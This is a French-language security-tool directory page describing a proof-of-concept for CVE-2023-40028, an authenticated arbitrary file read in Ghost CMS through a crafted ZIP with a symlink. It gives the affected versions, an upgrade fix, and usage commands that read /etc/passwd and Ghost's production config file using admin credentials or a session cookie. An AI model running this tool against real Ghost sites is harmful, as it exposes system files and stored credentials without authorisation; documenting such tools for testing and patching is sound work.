Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-40028 — POC pour CVE-2023-40028 : Ghost CMS Lecture Arbitraire de Fichiers | Kitploit
Outils/GitHubGitHub/godylockz/cve-2023-40028
Analyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsTests d'Intrusion
GitHubgodylockz/cve-2023-40028

CVE-2023-40028

POC pour CVE-2023-40028 : Ghost CMS Lecture Arbitraire de Fichiers

Voir le dépôt
221il y a 29 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-40028 : lecture arbitraire de fichiers dans Ghost

Preuve de concept pour CVE-2023-40028, une vulnérabilité de lecture arbitraire de fichiers authentifiée dans la fonctionnalité d'import de contenu de Ghost. Une archive ZIP spécialement conçue crée un lien symbolique sous content/images, permettant au script de demander un fichier à l'hôte Ghost.

Les versions de Ghost antérieures à 5.59.1 sont affectées. Mettez à jour vers 5.59.1 ou une version ultérieure.

N'utilisez cet outil que contre des systèmes que vous possédez ou que vous êtes autorisé à tester.

Prérequis

  • Python 3
  • requests
  • Des identifiants d'administrateur Ghost ou un cookie ghost-admin-api-session valide
python3 -m venv .venv
source .venv/bin/activate
python -m pip install requests

Utilisation

Lire un fichier avec un nom d'utilisateur et un mot de passe :

python3 ghost_fileread.py \
  --url https://ghost.example \
  --username [email protected] \
  --password 'password' \
  --file /etc/passwd

Utiliser un cookie de session administrateur existant :

python3 ghost_fileread.py \
  --url https://ghost.example \
  --cookie 'session-cookie-value' \
  --file /var/lib/ghost/config.production.json

Omettez --file pour ouvrir l'invite interactive file>. Exécutez python3 ghost_fileread.py --help pour les options de proxy, de délai d'attente et de User-Agent.

Le point de terminaison renvoie du texte, cet outil est donc destiné aux fichiers texte. L'import de l'archive spécialement conçue laisse un lien symbolique dans le répertoire content/images de la cible.

Références

  • Avis GitHub : CVE-2023-40028
  • Correctif Ghost
Télécharger l’outil